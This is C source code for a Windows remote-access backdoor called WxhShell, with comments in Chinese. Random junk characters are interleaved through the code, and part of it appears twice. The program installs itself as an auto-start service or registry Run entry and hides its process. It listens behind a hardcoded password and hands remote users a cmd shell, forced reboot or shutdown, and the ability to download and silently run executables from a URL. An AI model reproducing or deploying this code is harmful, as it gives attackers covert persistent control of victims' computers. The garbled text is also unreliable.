! if(NULL == hInst ) return 0; Xp^71A?> btf]~YN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bmC{d g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l%cE o`U NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yV@~B;eW0 r2;+ACwWf_ if (!NtQueryInformationProcess) return 0; ;>p{|^X0D uoY]@. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U_0"1+jbq if(!hProcess) return 0; Yv;iduc(' 6r5<uZ9w_X if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &-.2P!t -1F+,+m CloseHandle(hProcess); 9(9\kQj{C }
AHR7mu= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Daf;;
w if(hProcess==NULL) return 0; &W y9% ~
Q;qRx HMODULE hMod; l;J B;0<s" char procName[255]; "CQ:<$|$ unsigned long cbNeeded; 3}?]G8iL?L |P=-m-W if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C'z}jM`g bq}o#d5p-_ CloseHandle(hProcess); ,3ivB8 d>Np; " if(strstr(procName,"services")) return 1; // 以服务启动 ]+78
"( SQBe}FlktK return 0; // 注册表启动 n ^C"v6X
} h1N{;SWQ }W"/h)q // 主模块 .GDNd6[K7 int StartWxhshell(LPSTR lpCmdLine) (^Hpe5h& { z/S}z4o/ SOCKET wsl; a^GJR]]
{ BOOL val=TRUE; ]$WwPDZ int port=0; @X>Oj . struct sockaddr_in door; jUX0sRDk czp}-{4X if(wscfg.ws_autoins) Install(); |rk4,NG. [Gb8o' port=atoi(lpCmdLine); r`CsR0[ OM7EmMa; if(port<=0) port=wscfg.ws_port; ~@Eu4ip)F Hk|wO:7Be WSADATA data; Y]{~ogsn$: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |"EQyV \ssqIRk if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; KP]{=~( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2~*.X^dR door.sin_family = AF_INET; S_56! door.sin_addr.s_addr = inet_addr("127.0.0.1"); B=+Py% door.sin_port = htons(port); _ye74$# >a2i%j/T if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sy`7 })[ closesocket(wsl); 5"9!kZ(< return 1; [E|% } rjW\tuZI /jv4#9 if(listen(wsl,2) == INVALID_SOCKET) { t5WW3$Nf closesocket(wsl); A^"( VaK return 1; -|A`+1-R+ } S6Fn(%T+9 Wxhshell(wsl); q'[q] WSACleanup(); <2{-ey] J9*$@&@S return 0; S U$U nhP ua& } T4x%dg +>S\.h
s4 // 以NT服务方式启动 IX)\z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w0L+Sj db { .a`(?pPr, DWORD status = 0; aqzIMOAf DWORD specificError = 0xfffffff; aaM76; f&
>[$zh serviceStatus.dwServiceType = SERVICE_WIN32; 8!(09gW'> serviceStatus.dwCurrentState = SERVICE_START_PENDING; VsM~$
) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JQ)w/@Vu= serviceStatus.dwWin32ExitCode = 0; ;4ETqi9 serviceStatus.dwServiceSpecificExitCode = 0; m<uBRI*I serviceStatus.dwCheckPoint = 0; "WE*ED serviceStatus.dwWaitHint = 0; fTg^~XmJ pw5uH hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %ryYa if (hServiceStatusHandle==0) return; YRm6~c E1-BB status = GetLastError(); m3i+b if (status!=NO_ERROR) 7$u}uv`j { i917d@r( < serviceStatus.dwCurrentState = SERVICE_STOPPED; zBTyRL
l serviceStatus.dwCheckPoint = 0; I[v6Y^{q serviceStatus.dwWaitHint = 0; %^CoWbU serviceStatus.dwWin32ExitCode = status; -'mTSJ.} serviceStatus.dwServiceSpecificExitCode = specificError; I8:A] SetServiceStatus(hServiceStatusHandle, &serviceStatus); yvp$s return; RO+N>Wkt } HJeZm eQqx0+-0c serviceStatus.dwCurrentState = SERVICE_RUNNING; TcM;6h` serviceStatus.dwCheckPoint = 0; zLda+ serviceStatus.dwWaitHint = 0; + =N#6#1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DYFfq } sV`!4
u7%} S)$iHBx{ // 处理NT服务事件,比如:启动、停止 E\Et,l#|LY VOID WINAPI NTServiceHandler(DWORD fdwControl) oi:!YVc { 6wY6*R switch(fdwControl) )eaEc9o> { :sL?jGk\ case SERVICE_CONTROL_STOP: 4V9S~^v| serviceStatus.dwWin32ExitCode = 0; [Y_CRxa\u serviceStatus.dwCurrentState = SERVICE_STOPPED; hiQ #< serviceStatus.dwCheckPoint = 0; L6=`x a, serviceStatus.dwWaitHint = 0; ydm2'aV { qPG>0
O SetServiceStatus(hServiceStatusHandle, &serviceStatus); kMP3PS } Mo~zq. return; r?j2%M\ case SERVICE_CONTROL_PAUSE: r(VznKSx serviceStatus.dwCurrentState = SERVICE_PAUSED; >j$y@"+ break; "|KhqV=?v case SERVICE_CONTROL_CONTINUE: (AI
4a+ serviceStatus.dwCurrentState = SERVICE_RUNNING; g`9`/ break; ev"f@y9Do case SERVICE_CONTROL_INTERROGATE: Z_.xglq{ break; |b'}.(/3i }; rZSD)I SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0c6Ea>S[ } 8.m9 =+)8 ]w;!x7bU( // 标准应用程序主函数 9 m`VIB int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |%l&H/ { p]E \!/ 'BOMFp7c // 获取操作系统版本 bc}BQ|Q OsIsNt=GetOsVer(); eN{ewn#0. GetModuleFileName(NULL,ExeFile,MAX_PATH); {usv*Cm \\UOpl // 从命令行安装 (@&+?A"6` if(strpbrk(lpCmdLine,"iI")) Install(); &b:SDl6 :qe.*\
c // 下载执行文件 ?hh#@61
if(wscfg.ws_downexe) { 1@S(v L3a if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NwbX]pDT WinExec(wscfg.ws_filenam,SW_HIDE); r&_bk
Y% } VkJBqRzBOa JKy06I if(!OsIsNt) { f5o##ia7: // 如果时win9x,隐藏进程并且设置为注册表启动 @D@_PA)e( HideProc(); cy
@",z StartWxhshell(lpCmdLine); dlJc~| } p38RgEf else VSLi{=# if(StartFromService()) *mtS\J // 以服务方式启动 MlH0 StartServiceCtrlDispatcher(DispatchTable); 6O0CF}B* else iwx*mC{|A // 普通方式启动 15\k/[3
# StartWxhshell(lpCmdLine); DICS6VG} 5|_El/G return 0; 6h9Hf$' } 3EO:Uk5< "p\5:< tx_h1[qi h=
Mmd ===========================================
'LW~_\ eB2a1<S&@ R.P|gk 4IGn,D^ /n-!dXi o7sIpE9 " - xKa-3 gPqdl6#c #include <stdio.h> ~b;u1;ne #include <string.h> .h
r$<] #include <windows.h> '<-F3 #include <winsock2.h> 'gv~M_ #include <winsvc.h> =+ALh- #include <urlmon.h> Cr>YpWm 9AP." RV #pragma comment (lib, "Ws2_32.lib") ![Ll$Lr #pragma comment (lib, "urlmon.lib") 9gQ
]!Oq T7#}&> #define MAX_USER 100 // 最大客户端连接数 ,%<ICusZ #define BUF_SOCK 200 // sock buffer ZZ2vdy38 #define KEY_BUFF 255 // 输入 buffer JS2h/Y$ Zt/4|&w #define REBOOT 0 // 重启 HVH <S #define SHUTDOWN 1 // 关机 7v]9) W=y 8d1r#sILI #define DEF_PORT 5000 // 监听端口 ,
G9{: >eM>Y@8= #define REG_LEN 16 // 注册表键长度 N.F//n #define SVC_LEN 80 // NT服务名长度 ]o2 jS D RcpKv;= iB // 从dll定义API ,,+iPGa< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wi<g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yc p<N>) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P TMJ.; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s~>0<3{5 W'" p:Uhq // wxhshell配置信息 B0$ge"FK9 struct WSCFG { G3${\'< int ws_port; // 监听端口 uq\[^ char ws_passstr[REG_LEN]; // 口令 OKV/=]GS int ws_autoins; // 安装标记, 1=yes 0=no kO/]mNLG char ws_regname[REG_LEN]; // 注册表键名 u{8:VX char ws_svcname[REG_LEN]; // 服务名 Gy6PS{yY6t char ws_svcdisp[SVC_LEN]; // 服务显示名 &ieb6@RO`Q char ws_svcdesc[SVC_LEN]; // 服务描述信息 " 3tk"#.# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e+O502] int ws_downexe; // 下载执行标记, 1=yes 0=no :R1F\FT* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J. $U_k char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2F#DJN#
1
.Nfl@] }; >SHP,><H/ X[J? // default Wxhshell configuration vM?jm!nd struct WSCFG wscfg={DEF_PORT, <_3OiU=w "xuhuanlingzhe", [ XBVES8 1, Lhmb=
@ "Wxhshell", h[>Puoz "Wxhshell", nA#N ,^Rr "WxhShell Service", <`")Zxf+ "Wrsky Windows CmdShell Service", &`I 7aP| "Please Input Your Password: ", #u/5
nm 1, s`I]>e "http://www.wrsky.com/wxhshell.exe", Btyp=wfN[ "Wxhshell.exe" t7 +U! }; ?!a8'jfs d7P'c!@+ // 消息定义模块 BI6]{ ZC" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "@(Sw>*o char *msg_ws_prompt="\n\r? for help\n\r#>"; \\Te\l|L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YckLz01jh char *msg_ws_ext="\n\rExit."; )R6-]TkA_ char *msg_ws_end="\n\rQuit."; $0&<Jx char *msg_ws_boot="\n\rReboot..."; xz3|m
_) char *msg_ws_poff="\n\rShutdown..."; H: ]'r5sw char *msg_ws_down="\n\rSave to "; fb?YDM 'cPE7uNT char *msg_ws_err="\n\rErr!"; !EOYqD char *msg_ws_ok="\n\rOK!"; JmF:8Q3H
]/[$3rPwZ char ExeFile[MAX_PATH]; wo5fGQJ int nUser = 0; ~nRbb;M HANDLE handles[MAX_USER]; i;fU],aK! int OsIsNt; nO
`R++ SQ-CdpT< SERVICE_STATUS serviceStatus; :0'vz M SERVICE_STATUS_HANDLE hServiceStatusHandle; #tN!^LLi a St:G*a" // 函数声明 %*];XpAE int Install(void); {y`n_ int Uninstall(void); SYA0Hiw7P int DownloadFile(char *sURL, SOCKET wsh); 1T0s
UIY int Boot(int flag); q);@iiJ- void HideProc(void); cCv@fks int GetOsVer(void); u[6aSqwC| int Wxhshell(SOCKET wsl); *?YMoN void TalkWithClient(void *cs); 1eOQ;#OV int CmdShell(SOCKET sock); )-^[;:B\k" int StartFromService(void); >)bn #5 int StartWxhshell(LPSTR lpCmdLine); Xq%ijo "@UyUL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dd'J"|jF38 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^\g?uH6k U |* B9{/;4 // 数据结构和表定义 &0RKNpwg SERVICE_TABLE_ENTRY DispatchTable[] = .f9&.H# { j5!pS xOC {wscfg.ws_svcname, NTServiceMain}, =y0h\<[ {NULL, NULL} M.``o1b }; r1[#_A`Yn !|~yf3 // 自我安装 A`nzqe#(1 int Install(void) u?SxaGEa { '}9 %12\^h char svExeFile[MAX_PATH]; Q.g44> HKEY key; R c strcpy(svExeFile,ExeFile); 7Cx-yv t/J|<Ooj? // 如果是win9x系统,修改注册表设为自启动 O{Y*a )" if(!OsIsNt) { o#hFK'&~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j>A=Wa7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Ge!;v RegCloseKey(key); ?*:BgaR_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +6s6QeNS8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]23+ d/ RegCloseKey(key); ZVDi;
return 0; 4^7*R } 9a]J Q } gg@Ew4L& } 8=-#LVo~c else { OjsMT] o'=i$Eb // 如果是NT以上系统,安装为系统服务 nZ4@g@e2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O'S9y if (schSCManager!=0) LF ;gdF%@ { Nt~G
{m SC_HANDLE schService = CreateService >6:UWvV 1 ( ;R7+6 schSCManager, UcWf
O!}D wscfg.ws_svcname, ^&\<[\ wscfg.ws_svcdisp, m%U$37A1 SERVICE_ALL_ACCESS, y4,t=Gq7^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =U}!+ 8f SERVICE_AUTO_START, zU";\); SERVICE_ERROR_NORMAL, :nS p
svExeFile, ~j[mM E} NULL, /! M%9gu NULL, ]uXmug NULL, @5{h+ ^ NULL, D
4<,YBvV NULL 9s#*~[E* ); Q&vU|y if (schService!=0) 6\RZ[gA? { w_*$wVl CloseServiceHandle(schService); &{S@v9~IT CloseServiceHandle(schSCManager); b
q8nV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EO\- J-nM strcat(svExeFile,wscfg.ws_svcname); & sgzSX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
QJ,~K&? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U]"6KS
RegCloseKey(key); t:%u4\nZ; return 0; dC?l%,W } ' pfkbmJ } },,K6*P CloseServiceHandle(schSCManager); NW~`oc)NS } .e|\Bf0P } UQq Qim !BR@"%hx return 1; &"=<w } &?^"m\K4J* M<ba+Qn$ // 自我卸载 ?GGBDql int Uninstall(void) .=@CF8ArG { &Y-jK < HKEY key; *a' I G!U
`8R if(!OsIsNt) { ad`7[fI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =z#j9'n$@ RegDeleteValue(key,wscfg.ws_regname); g3c,x kaO RegCloseKey(key); Z@bKYfGM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `86})xz{ RegDeleteValue(key,wscfg.ws_regname); wj\kx\+ RegCloseKey(key); @VnK/5opS return 0; rhC
x&L } 2[1lwV } 35Fs/Gf-n } 89ab?H}/ else { G3gEL)b* d+]/0J!c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _FzAf5DO if (schSCManager!=0) \1oN't. { O[ug7\cl+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B1o*phM
g if (schService!=0) W"H(HA { &'c&B0j if(DeleteService(schService)!=0) { oA4<AJ2 CloseServiceHandle(schService); 1(qL),F; CloseServiceHandle(schSCManager); ap[Q'=A` return 0; <h*$bx]9 + } ~X,ZZ 9H CloseServiceHandle(schService); Ki\J)l } p*~b5'+ C+ CloseServiceHandle(schSCManager); N2&h yM } y~<_ux, } oEsqLh9a| GE}>{x=^x return 1; Z;cA_}5 } a[RqK# A:V/i:IZfR // 从指定url下载文件 -qpe;=g&f int DownloadFile(char *sURL, SOCKET wsh) .<Jq8J { t^7}j4lk HRESULT hr; j~O"=?7!O char seps[]= "/"; 0(+dXzcwM char *token; 9C:V i char *file; j!K{1s[.y char myURL[MAX_PATH]; O[R
char myFILE[MAX_PATH]; Z>hGqFZ0{
cfL:#IM strcpy(myURL,sURL); J:0`*7 token=strtok(myURL,seps); uk)D2.eS, while(token!=NULL) a
t%qowt { h`:B8+k file=token; c4M]q4]F token=strtok(NULL,seps); kjj?X|Un } <'vtnz **F-#", GetCurrentDirectory(MAX_PATH,myFILE); I1W~;2cK strcat(myFILE, "\\"); <Gz* 2i strcat(myFILE, file); +{cCKRm send(wsh,myFILE,strlen(myFILE),0); V(OD^GU send(wsh,"...",3,0); s;xErH@RA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^o Q^/v~ if(hr==S_OK) RT"JAJTi/ return 0; $#FA/+<&$ else Cd7l+~*Y return 1; 1_z~<d
@?; r_3=+ } Y{2L[5_1 %
r0AhWv // 系统电源模块 Hf9F:yH int Boot(int flag) zJG=9C? { 5>&C.+A 9 HANDLE hToken; }c'T]h\S TOKEN_PRIVILEGES tkp; zX&wfE8T 8:jakOeT if(OsIsNt) { bP{uZnOM2P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n@9R|biO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z`Xc] cPi tkp.PrivilegeCount = 1; _OJ19 Ry tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0-8'.C1v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xcQ:&q if(flag==REBOOT) { n(jrK9] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s^GE>rf return 0; ,zh4oX`> } 3|0OW
Jk else { }N@+bNh~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8C<%Y7)/ return 0; <Y ^)/ s } o<7'(Pz } d?4-"9Y else { A'T: \Wl if(flag==REBOOT) { en29<#8TO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {r1}ACw{ return 0; UKf0cU } Ia-nA|LBxI else { z&Lcl{<MA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >{k0N@_ return 0; `<*
tp@ } U46Z~B } sF p% T4j a/U4pSug return 1; h2vD*W } SaA-Krn |\SwZTr // win9x进程隐藏模块 lM[FT=M void HideProc(void) 1^ y^b{ { ^4{"h myDcr|j-a HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8J8@0 if ( hKernel != NULL ) N@\`DO { 8Xz \,}$O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|:5[` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1D)=q^\I FreeLibrary(hKernel); ?Z"<&tsZ } '<&rMn p-B
|Gr| return; $'Qv
{ } .a
`ojT >jpkR // 获取操作系统版本 3Hkb)Wu int GetOsVer(void) _rvO#h { NSQ#\:3:S OSVERSIONINFO winfo; tQcn%CK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3/4r\%1b+ GetVersionEx(&winfo); 4!DXj0^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X5c)T}pyv return 1; 3zo:)N \K else !Q5NV4gd+ return 0; n^%",*8gD* } _:VIlg
U Vi<F@ji // 客户端句柄模块 YF<U'EVU- int Wxhshell(SOCKET wsl) ~3qt<" { sjwD x0(7= SOCKET wsh; |Q*{yvfEo struct sockaddr_in client; L] !M1\ DWORD myID; vXeI)vFK R9O1#s^ while(nUser<MAX_USER) rjL4t^rT { |M(0CYO int nSize=sizeof(client); GJn ~x wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?TY/'-M5 if(wsh==INVALID_SOCKET) return 1; ;BYv&(#u1q o/mGd~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YB"=eld if(handles[nUser]==0) KU (g Zy closesocket(wsh); 5DnX8t+d else poVtg}n nUser++; ljJR7< } JId|LHf*P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UGK,+FN '+E\-X return 0; 4'`y5E } [K"&1h<> 8d8GYTl b) // 关闭 socket KN"<f:u void CloseIt(SOCKET wsh) ZMmf!cKY:' { Jn)DZv8? closesocket(wsh); 6G]hsgro nUser--; c^`(5}39v ExitThread(0); w4j,t } `E-cf 7% R6-Z]Hu // 客户端请求句柄 _/cL"Wf void TalkWithClient(void *cs) {}N=pL8MS { T/TMi&:?. _A,mY6* SOCKET wsh=(SOCKET)cs; {qL}:ha? char pwd[SVC_LEN]; b0
y*} char cmd[KEY_BUFF]; ::2(pgH char chr[1]; \wxLt}T-Q int i,j; -9^A,vX @]X5g8h while (nUser < MAX_USER) { $gysy!2}. ]%Z7wF</ if(wscfg.ws_passstr) { pX]"^f1?O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (5Sv$Xt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \#q|.d$u //ZeroMemory(pwd,KEY_BUFF); CC.ri3+. i=0; j2Uu8.8d while(i<SVC_LEN) { AIw< 5lW >^zbDU1wT // 设置超时 d^ZrI\AJ fd_set FdRead; = `oGH struct timeval TimeOut; <F<jx"/) FD_ZERO(&FdRead); %M
u$0~ct" FD_SET(wsh,&FdRead); l|5;&(Y+s TimeOut.tv_sec=8; 6>j0geFyE2 TimeOut.tv_usec=0; to#N>VfD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .fD%*- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FFpG>+*3 Jj,fdP#\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hvOl9W> pwd=chr[0]; I#9q^,,F if(chr[0]==0xd || chr[0]==0xa) { *W$bhC'w pwd=0; NAh^2X break; K5EU?J& } _Sn45h@" i++; &@/25Y2 } WC`x^HI ~dlpoT // 如果是非法用户,关闭 socket z 3N'Xk if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 52#Ac;Y } L}\~) L1YiXJ,T, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I"bz6t\~| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^{l$>e] 3jDAj!_ea while(1) { y]b&3& Qs7*_=+h ZeroMemory(cmd,KEY_BUFF); x5%x""VEK i4H,Ggb // 自动支持客户端 telnet标准 ,@0D_&JAl j=0; ^@OdY&5^ while(j<KEY_BUFF) { J `
KyS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Rc*X'Iz(! cmd[j]=chr[0]; %)p?&_ if(chr[0]==0xa || chr[0]==0xd) { SCo; Ek cmd[j]=0; -mY,nMDb break; jCp`woV } S0mzDLgE j++; T1W H } .vWwYG YK%rTbB( // 下载文件 ,#Mt10e{ if(strstr(cmd,"http://")) { ^b^}6L'Z send(wsh,msg_ws_down,strlen(msg_ws_down),0); i:\|G^h if(DownloadFile(cmd,wsh)) p}K.-S`MQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); =gQ^,x0R9 else olca
Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vXT>Dc2\! } MkX=34oc^ else { }0~X)Vgm( xA SH-9 switch(cmd[0]) { ]3]=RuQK2 3H,?ZFFGz // 帮助 J/B`c( case '?': { jchq\q)_z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {pk]p~ break; )SyU } W(\^6S) // 安装 O#?@'1 case 'i': {
IA680^ if(Install()) VCQo3k5
{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); tQ(4UHqa~ else 5]~451 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oMHTB!A=2 break; 6QAhVg: A } ppzQh1 // 卸载 AA<QI' 6 case 'r': { QJ2D C if(Uninstall()) .X34[AXd send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;"|QW?>$D else -rlCE-S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C1o^$Q|j break; cG,zO-H } R'Uf#. // 显示 wxhshell 所在路径 fi [4F case 'p': { %jn)=;\ char svExeFile[MAX_PATH]; u7lO2C7 strcpy(svExeFile,"\n\r"); k8 z1AP strcat(svExeFile,ExeFile); -{A*`.[v send(wsh,svExeFile,strlen(svExeFile),0); +aOQ'*g break; p} {H%L } f"SK3hI$p // 重启 9PdD =9HH case 'b': { ziC%Q8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CaR-Yk
if(Boot(REBOOT)) IPf>9#L send(wsh,msg_ws_err,strlen(msg_ws_err),0); vn4z C else { zD;k|"e closesocket(wsh); uR6 `@F ExitThread(0); lRR A2Kql } <nc6&+ break; gUY~
l= c } u6SQq-)d // 关机 8]Q#P case 'd': { *USG
p<iH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fwNj@fl_,e if(Boot(SHUTDOWN)) 0+F--E4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8kT`5`}lB else { ^@^K
<SVc closesocket(wsh); i!)\m0Wm ExitThread(0); oI-,6G} } **JBZ \' break; sO{TGk]* } iFnD`l6) // 获取shell BhhFij4 case 's': { xZA.<Yd^r CmdShell(wsh); 1Eb2X}XC closesocket(wsh); b8E7/~<z3 ExitThread(0); SG]Sx4fg,Y break; k$ b) }
6ZfL-E{ // 退出 Kr;;aT0P case 'x': {
hLj7i? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e~7FK_y#0 CloseIt(wsh); r1:CHIwK break; j4I ~ } rn/~W[ // 离开 .3&(Y case 'q': { &f2:aT) send(wsh,msg_ws_end,strlen(msg_ws_end),0); 54=*vokX_ closesocket(wsh); %j.n^7i]^: WSACleanup(); I-#7Oq:Np exit(1); )D ~ 5 break; K&eT*JW> } aYn5AP'PH } U7Oa
13Qz } RL3*fRlb )qe
rA // 提示信息 5XV|*O; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eph2&)D}Ep } <cU%yA710 } Tl2(%qB "c\WZB`| return; 5?Pf#kq } @)U;hk)j; t<o7 S:a" // shell模块句柄 W^)mz,%x int CmdShell(SOCKET sock) }x+6<Rp'E_ { IqiU STARTUPINFO si; 5RAhm0Op~. ZeroMemory(&si,sizeof(si)); ^`k;~4'd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YmOj.Q& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5z =}o/? PROCESS_INFORMATION ProcessInfo; u /]P char cmdline[]="cmd"; H]7bqr CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sO}CXItC+j return 0; KA{&NFx } *<X1M~p$ c g)>A // 自身启动模式 9p{n7. int StartFromService(void) z%#-2&i { L^*f$Balz typedef struct ,J,Rup">h { No)0|C8: DWORD ExitStatus; at4JLbk DWORD PebBaseAddress; D, Gv nfY DWORD AffinityMask; )[oP`Z DWORD BasePriority; b.v +5=)B ULONG UniqueProcessId; OF03]2j7<| ULONG InheritedFromUniqueProcessId; }xBDyr63 } PROCESS_BASIC_INFORMATION; bN7m[GRO. A*~G[KC3( PROCNTQSIP NtQueryInformationProcess; n_Qua|R X</Sl>[8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ul#y'iY] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +80bG(I_ ;0Q" [[J HANDLE hProcess; ,n[<[tkCR PROCESS_BASIC_INFORMATION pbi; *5.wwV 1y\bJ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3&CV!+z if(NULL == hInst ) return 0; :;eQ*{ `\ WMC\J(@. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :9av]Yv& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cc3B}^@p= NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^2);*X> GcDA0%i if (!NtQueryInformationProcess) return 0; L9N}lH n}_}#(a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rk7F;2 if(!hProcess) return 0; .{\eco qdn_ZE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xT]t3'y|- yo/;@}g}
